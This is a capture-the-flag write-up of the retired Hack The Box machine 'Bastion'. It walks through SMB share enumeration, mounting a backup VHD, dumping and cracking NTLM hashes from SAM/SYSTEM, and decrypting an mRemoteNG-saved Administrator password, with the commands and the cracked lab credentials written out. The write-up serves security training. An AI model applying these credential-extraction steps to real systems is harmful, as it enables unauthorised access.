root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat bastion.md
// writeups

Bastion

27 Apr 2019 · 7 min read
Bastion - maquina de Hack The Box

Executive summary — Bastion is a very «forensic» Windows Server 2016 Easy box: an SMB share full of backups exposes the virtual disks (.vhd) of a Windows Image Backup. Mounting that VHD (instead of downloading the whole thing) reaches the filesystem and lets us extract the SAM and SYSTEM hives, which yield L4mpje's hash — crackable with a wordlist. Once inside over SSH, mRemoteNG's config stores the Administrator password encrypted with a default master key: decrypt it and you're Administrator. A SMB → VHD → SAM → hash → mRemoteNG → root path.

PlatformHack The Box
Operating systemWindows Server 2016
DifficultyEasy
StatusRetired
Target IP10.129.136.29

Attack map

[445] SMB → «Backups» share (guest, read/write)
   │  note.txt: "don't download the full backup, it's huge"
   │  WindowsImageBackup/L4mpje-PC → .vhd virtual disks
   ▼
[VHD] vhdimount + mmls -aB (offset) → mount the NTFS partition
   │  System32\config\SAM + SYSTEM → pwdump → L4mpje's hash
   ▼
[Hash] hashcat -m 1000 (rockyou) → cleartext password
   ▼
[SSH]  L4mpje  → user.txt
   │  mRemoteNG (confCons.xml) → encrypted Administrator password
   │  decipher_mremoteng.jar → decrypt (default key)
   ▼
[SSH]  Administrator  → root.txt

1. Initial recon

We add the host to /etc/hosts and run a standard port scan:

echo "10.129.136.29 bastion.htb" | sudo tee -a /etc/hosts
nmap -sC -sV bastion.htb
PortService
22SSH
135RPC
139NetBIOS
445SMB

Four ports, but the vector is obvious: SMB.

2. SMB enumeration

smbmap -u guest -H bastion.htb
Backups   READ, WRITE

The Backups share is accessible as guest and, on top of that, writable. We connect with no password (Enter at the prompt):

smbclient //bastion.htb/Backups
smb: \> cat note.txt

note.txt itself drops the hint: don't download the whole backup, it's too heavy. In other words, mount it, don't copy it whole. Inside is WindowsImageBackup/L4mpje-PC/Backup .../ with the virtual disks (.vhd) of a Windows backup.

3. Mount the share and the VHD

Instead of pulling the whole .vhd, we first mount the share over CIFS, then the virtual disk with forensics tooling (libvhdi-utils, from The Sleuth Kit):

sudo mount -t cifs //bastion.htb/Backups /mnt/local_share
sudo apt install libvhdi-utils sleuthkit
mkdir /mnt/bastion1
vhdimount '/mnt/local_share/WindowsImageBackup/L4mpje-PC/Backup .../....vhd' /mnt/bastion1

vhdimount exposes the virtual disk as a block device at /mnt/bastion1/vhdi1. That's still just the raw disk image, not a mountable filesystem: we need to locate the NTFS partition inside it with mmls:

mmls -aB /mnt/bastion1/vhdi1
...
002:  128    ...    NTFS / exFAT (0x07)
offset: 128 sectors = 65536 bytes

Why the offset: a disk image starts with the partition table; the actual filesystem begins further in. With the offset in bytes, the partition can be mounted directly:

mkdir /mnt/vhdi_1
mount -o ro,noload,offset=65536 /mnt/bastion1/vhdi1 /mnt/vhdi_1

4. Extract SAM/SYSTEM and dump hashes

With the partition mounted read-only, we grab the registry hives holding the local accounts:

cp /mnt/vhdi_1/Windows/System32/config/SYSTEM /tmp
cp /mnt/vhdi_1/Windows/System32/config/SAM /tmp
pwdump /tmp/SYSTEM /tmp/SAM
L4mpje:...:26112010952d963c8dc4217daec986d9:::

5. Crack the hash → SSH as L4mpje

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
bureaulampje
ssh L4mpje@bastion.htb   # bureaulampje
type C:\Users\L4mpje\Desktop\user.txt

6. Escalation — mRemoteNG

Now as L4mpje, local enumeration leads straight to mRemoteNG (a remote connection manager) installed on the box. Its config file stores the passwords of saved connections — including Administrator's:

type C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

Why it's decryptable: mRemoteNG encrypts saved passwords with AES, but falls back to a default master key if the user never set one. With that known key, the encryption is trivially reversible with public tools:

java -jar decipher_mremoteng.jar "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
thXLHM96BeKL0ER2
ssh Administrator@bastion.htb   # thXLHM96BeKL0ER2
type C:\Users\Administrator\Desktop\root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakSMB (Backups share)Guest read/write access over a full Windows backupAccess to the system's virtual disks (.vhd)
Info leakVHD (WindowsImageBackup)Virtual disk mountable with no further authenticationOffline read of SAM/SYSTEM
FootholdSAM/SYSTEMLocal NTLM hash extractable offlineL4mpje's hash is crackable
FootholdNTLM hashWeak password present in rockyou.txtSSH as L4mpje + user.txt
PrivEscmRemoteNGAdministrator password encrypted with default master key (reversible)SSH as Administrator + root.txt

Lessons learned

  • A misconfigured SMB share (guest, read/write) over backups is a complete backdoor into the system: no exploit, no credentials needed.
  • Backups are secrets: an accessible .vhd is equivalent to having the whole disk — SAM, SYSTEM, and with them every local hash.
  • Mount instead of downloading (vhdimount plus locating the partition offset with mmls) is the correct forensic technique for large virtual disks.
  • mRemoteNG and similar password managers are a common post-exploitation target: if they fall back to a default master key, saved credentials are trivially reversible.
  • Credential reuse (a standard user's connection manager holding Administrator's saved password) is, in practice, a complete privilege escalation.